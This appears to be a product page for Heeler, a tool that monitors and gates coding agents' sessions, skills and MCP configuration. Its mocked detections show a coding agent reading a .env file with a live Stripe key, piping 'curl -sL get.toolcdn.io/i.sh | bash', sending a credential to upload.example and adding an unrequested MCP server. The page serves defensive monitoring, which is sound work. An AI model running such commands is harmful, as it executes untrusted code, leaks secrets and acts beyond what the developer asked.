Coding Agent Security

Security guidance, enforcement and investigation for coding agents.

Heeler automatically supplies coding agents with applicable standards and sensitive-data requirements, checks supported actions, and evaluates the resulting changes against repository guardrails. Teams can investigate recorded sessions and assess agent files across repositories and enrolled workstations.

Agent Hooks

Automated security guidance and enforcement for coding agents.

Heeler automatically supplies applicable standards, repository guardrails and sensitive-data requirements, including PII. It checks supported changes and commands during development, blocks configured violations, and evaluates the resulting PR against the same repository guardrails.

Requirements managed in Heeler
Standards + data classifications + guardrailsResolved for the repository and its applications
Guidance supplied automaticallyCode requirements · PII and payment-data handling
Checks during agent developmentDependencies · commands · live secrets · code feedback
rulePR guardrails evaluate the resulting changes.
Agents

Automatic inventory of agents and workstation configuration.

The Workstation Sensor reports the agents, skills, MCP servers and hooks on each machine.

smart_toyClaude Code, Codex, Cursor, OpenCode, Copilot Chat
differenceChanges since the last snapshot
key_offSensitive inventory fields redacted; raw evidence retained separately
Workstations214 reporting
WorkstationUserAgentsSkillsMCPWorst score
laptop-0142mleeClaude CodeCursor12491
laptop-0219rpatelClaude Code19728
laptop-0377jchenCodex6288
laptop-0408skimCopilot Chat3195
laptop-0219 · changes since the last snapshot+ skillrelease-helper+ MCP serverstripe-admin · remote
What agents load

Risk assessment for agent instructions, skills and MCP configuration.

Every agent file gets a safety score from 0 to 100 and an assessed intent.

ruleDeterministic rules plus model review
publicExternal hosts rated by reputation
blockRisky new files blocked at the PR
.claude/skills/release-helper/SKILL.mdAt Risk
28of 100
Assessed intentSuspiciousHigh confidence
Static risk
LLM risk
External risk
HighInsecure Shell Pipecurl -s https://get.toolcdn.io/i.sh | bash
ModelRemote Code Execution
InfoReferenced External System · toolcdn.io, unrecognized
blockPR Guardrails · Agent File Static FindingsBlock
Sessions

Session risk findings with task context.

Review commands, tool output and the surrounding conversation. Heeler flags risky effects and considers whether the action matched the developer’s request.

keySecrets, credential access and remote scripts
blockDestructive commands and injected instructions
ruleActions the developer never asked for
Add retries to the payment clientSession
smart_toyClaude Codecomputerlaptop-0142 · mleefolderacme/payments-api
OverviewConversationSkillsCommitsSub-agentsDetections 3
Add retries with backoff to the payment client
terminalBash cat .envtool output
key
Secret exposed in tool outputStripe live key · fingerprint stored, value withheld
High
terminalBash curl -sL get.toolcdn.io/i.sh | bash
block
Remote script piped into a shellCode the developer did not write
High
editEdit .mcp.json+1 server
rule
MCP server added that no one asked forConfig change · not requested by the user
High
commitgit commit a41c9e2feature/payment-retry
42Tool invocations
3Detections
a41c9e2Commit
Credential exposure

Credential exposure and use across agent sessions.

Follow a credential from the prompt, a file read or tool output to its later use in commands, files, external requests, MCP calls or observed commits.

Link repeated occurrences without displaying the value
Distinguish transcript evidence from confirmed delivery
Credential exposure · session evidence
folderFile read · .envEntry
key
Credential found in tool outputMasked value · matching fingerprint
terminalCommand includes the same credential
public
External request · upload.exampleCredential appears in request command
Exit
Open the event behind each findingReview the command, conversation and available validation result.
External access

Cloud, database and external-service access by coding agents.

Inspect cloud, cluster, database and external-service activity. Review the target, available identity and environment context, and whether the observed operation reads or changes state.

Session → accessed systems
Investigate the deployment failure.
ReadObservability · deployment logsReview the command and response
WriteCloud account · ProductionReview the named account and operation
UnknownExternal endpointAccess capability not established
Context for investigationWas the change requested? Which identity and environment appear in the evidence?
Usage

Agent usage and estimated cost by model and repository.

Compare models, repositories, workstations and coding agents. Break down input, output and cached tokens, then open the sessions behind the totals.

Usage → repository → sessions
Repository: payments-apiGroup by model
Input
Cache read
Output
Inspect the sessions behind a change in usageFilter by harness, environment or access category.
Cost uses public model prices. Unpriced usage stays visible.
Session evidence

Commit evidence linked to agent sessions.

Inspect the conversation, tool activity and commit evidence together. Heeler distinguishes commits created during a session from commits the agent only inspected, and links to the repository when it can resolve it.

Session → observed commit → source repository
SessionReview the request“Add retries with backoff to the payment client”Claude Code · laptop-0142 · local user mlee
Commit evidenceCreated or inspected?Inspect the Git command and correlated transcript output.A commit observed in the session is not proof that every line was agent-authored.
RepositoryOpen the sourceFollow the repository and commit link when resolved.The upstream link may be unavailable until the commit is pushed.
Return to the relevant event to review the surrounding conversation and tool output.

How it deploys

DeployPush with your MDMmacOS and Windows. A deployment token enrolls each machine.
RunRuns as a background serviceWatches agent sessions and uploads changes.
ReviewResults appear in HeelerSessions, workstations and posture, for admins.
Prevent

Agent guidance, enforcement and investigation across the platform.

Agent Skills →Coding agentClaude Code · Codex · CursorOpenCode · VS Code (Copilot)Guided as it writesMCP · AGENT SKILLSAgent Skills →PromptTool callsshell · skills · MCPDiffSecret in a promptDangerous actionInjected instructionWORKSTATION SENSOR · SESSION EVIDENCEON THIS PAGEHeeler CLI →CommitCommit blockedHEELER CLIHeeler CLI →Pull requestthe merge gateGated at mergePR GUARDRAILSON THIS PAGE
Checks and evidence across the agent workflow
Before and during developmentGuidanceMCP and Agent Skills supply context and security checks.MCP Server →
Before supported actionsEnforcementAgent Hooks deliver repository guidance and check supported actions.Agent Hooks →
Observed activityInvestigationThe sensor collects session and configuration evidence for analysis.Workstation Sensor →
At the pull request, PR Guardrails check proposed repository changes.

Agent instructions that conflict with security requirements.

Cross-check CLAUDE.md, .cursorrules and skills against model requirements. Instructions to skip authentication or call a production API directly can surface as findings tied to the affected requirement.

Agent instructions and threat models

Purpose-built for the AI SDLC

Security controls and evidence across agent development.